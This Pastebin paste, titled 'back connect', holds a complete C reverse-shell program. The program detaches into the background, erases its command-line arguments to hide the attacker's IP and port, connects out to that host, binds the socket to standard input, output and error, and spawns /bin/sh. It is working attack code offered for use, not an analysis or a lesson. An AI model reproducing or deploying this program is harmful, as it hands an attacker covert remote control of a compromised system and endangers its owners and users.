Advertisement
aljazara

back connect

Mar 14th, 2014
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.54 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <sys/socket.h>
  3. #include <netinet/in.h>
  4. int main(int argc, char *argv[]){
  5. int fd;
  6. struct sockaddr_in sin;
  7. daemon(1,0);
  8. sin.sin_family = AF_INET;
  9. sin.sin_port = htons(atoi(argv[1]));
  10. sin.sin_addr.s_addr = inet_addr(argv[2]);
  11. bzero(argv[2],strlen(argv[2])+1+strlen(argv[1]));
  12. fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
  13. if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0){perror("error\n");exit(0);}
  14. dup2(fd, 0);
  15. dup2(fd, 1);
  16. dup2(fd, 2);
  17. execl("/bin/sh","sh",(char *)0);
  18. close(fd);
  19. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement